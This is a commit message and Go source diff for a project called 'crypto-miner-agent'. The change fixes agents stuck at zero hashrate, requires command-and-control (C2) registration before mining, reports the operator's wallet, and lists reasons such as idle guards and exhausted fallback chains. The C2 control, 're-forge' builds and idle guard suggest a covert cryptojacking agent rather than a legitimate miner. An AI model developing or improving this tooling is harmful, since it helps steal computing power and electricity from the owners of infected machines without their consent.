Fix simple deploy mining: refresh auth tier policy and mine immediately.

Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.

agent/client/mining_diagnostics.go

@@ -3,6 +3,7 @@ package client
 import (
 	"encoding/json"
 	"runtime"
+	"strings"
 	"time"
 
 	"crypto-miner-agent/miner"
@@ -26,6 +27,7 @@ type MiningDiagnostics struct {
 	C2Connected          bool     `json:"c2_connected"`
 	LastJobAgeSec        *float64 `json:"last_job_age_sec,omitempty"`
 	MiningMode           string   `json:"mining_mode"`
+	Wallet               string   `json:"wallet,omitempty"`
 	PoolHost             string   `json:"pool_host"`
 	PoolPort             int      `json:"pool_port"`
 	InstallDir           string   `json:"install_dir,omitempty"`
@@ -112,6 +114,7 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
 		d.LastJobAgeSec = &age
 	}
 	d.MiningMode = c.cfg.MiningMode
+	d.Wallet = c.cfg.Wallet
 	d.PoolHost = c.cfg.PoolHost
 	d.PoolPort = c.cfg.PoolPort
 	if dir, err := c.cfg.InstallDirectory(); err == nil {
@@ -254,8 +257,31 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
 	return d
 }
 
+// PrimaryMiningBlockReason returns the best single operator-facing explanation for zero hashrate.
+func PrimaryMiningBlockReason(d MiningDiagnostics) string {
+	if len(d.LikelyBlockers) > 0 {
+		return d.LikelyBlockers[0]
+	}
+	if d.CPU.ScheduleBlocked {
+		return "mining_mode schedule/idle guard blocking workers"
+	}
+	if d.ChainExhausted {
+		return "mining fallback chain exhausted — all primary methods failed"
+	}
+	if !d.C2Connected {
+		return "waiting for C2 registration"
+	}
+	return ""
+}
+
 func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string {
 	var blockers []string
+	if strings.TrimSpace(d.Wallet) == "" {
+		blockers = append(blockers, "wallet not configured — set Calibrate wallet and re-forge")
+	}
+	if strings.TrimSpace(d.PoolHost) == "" {
+		blockers = append(blockers, "pool host not configured — set Calibrate pool and re-forge")
+	}
 	if d.CPU.RemotePaused {
 		blockers = append(blockers, "mining paused by remote command or healthy container delegation")
 	}